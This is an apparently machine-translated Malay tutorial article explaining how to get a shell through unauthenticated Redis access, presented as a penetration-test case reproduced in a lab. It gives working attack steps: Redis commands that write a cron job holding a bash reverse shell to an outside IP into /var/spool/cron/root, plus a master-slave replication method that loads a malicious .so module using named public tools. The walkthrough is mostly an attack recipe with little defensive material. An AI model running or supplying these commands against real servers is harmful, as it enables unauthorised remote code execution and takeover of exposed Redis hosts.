Rumah > Artikel > pangkalan data > Contoh analisis Redis+Getshell
Biasanya, apabila menjalankan ujian penembusan kebenaran, walaupun serangan kelemahan tradisional (seperti suntikan, muat naik fail, dll.) dicuba, tiada maklumat boleh diperolehi. Mengimbas port mungkin masih membawa keuntungan yang tidak dijangka.
Ringkasnya, redis ialah pangkalan data jenis Nilai-Kekunci dikendalikan dalam ingatan, dan ia Data dalam ingatan boleh disimpan pada cakera secara berkala, dan menyokong menyimpan pelbagai struktur data (String, cincang, senarai, dll.).
Redis Secara lalai. , ia akan terikat kepada 0.0.0.0:6379 Jika akses IP tidak dihadkan, perkhidmatan Redis akan didedahkan kepada rangkaian awam, dan jika pengesahan kata laluan tidak ditetapkan, mana-mana pengguna tidak akan dibenarkan untuk mengakses Redis juga seperti membaca data Redis dan menulis kunci awam untuk sambungan jauh, dsb.
Kami tidak akan berpuas hati apabila kami mendapat kebenaran pangkalan data.
Pada masa ini terdapat dua lagi kaedah arus perdana, yang pertama ialah menjadualkan shell lantunan secara tetap, dan yang kedua ialah menggunakan rce replikasi tuan-hamba.
1) set x "n* * * * * bash -i >& /dev/tcp/1.1 . 1.1/888 0>&1n"
2) set konfigurasi dir /var/spool/cron/
3) set konfigurasi dbfilename root
4) save
Kerentanan wujud dalam versi 4.x dan 5.x menyediakan mod master-slave mod merujuk kepada menggunakan One redis berfungsi sebagai hos, dan satu lagi berfungsi sebagai mesin sandaran Hos dan data hamba adalah sama. Selepas Reids 4.x, melalui pengembangan luaran, adalah mungkin untuk melaksanakan perintah Redis baharu dalam redis dan membina fail .so yang berniat jahat. Apabila dua kejadian Redis ditetapkan dalam mod tuan-hamba, tika hos Redis boleh menyegerakkan fail ke mesin hamba melalui FULLRESYNC. Kemudian muatkan fail jadi berniat jahat pada mesin hamba untuk melaksanakan arahan.
Anda perlu menggunakan alat, cuma muat turunnya daripada GitHub.
1) klon git https://github.com/n0b0dyCN/RedisModules-ExecuteCommand (memerlukan buat)
2) klon git https://github.com/Ridter/ redis-rce.git
kemudian menyambung ke redis melalui akses tanpa kebenaran atau kata laluan yang lemah, dan melaksanakan skrip untuk mendapatkan shell.
Kali ini saya mengimbas 6379, iaitu Redis Kadangkala port lalai mungkin Dicadangkan untuk mengimbas keseluruhan port Kali ini, salinan master-slave digunakan untuk mendapatkan shell (memandangkan kelemahan telah diserahkan kepada src dan perjanjian kerahsiaan telah ditandatangani, mesin sasaran dibina untuk memulihkan. persekitaran sebenar untuk memastikan ketulenan.)
serang Tamat IP: 192.168.109.134
IP Pelayan: 192.168.109.136
>
untuk redis melalui akses yang tidak dibenarkan (jika anda mempunyai kata laluan, anda boleh cuba letup, kata laluan auth untuk log masuk ke sistem): Redis-cli –h ip
Pertama, jana fail .so yang berniat jahat, muat turun RedisModules-ExecuteCommand dan gunakan make untuk menyusunnya.
Berjaya memperoleh shell
Atas ialah kandungan terperinci Contoh analisis Redis+Getshell. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!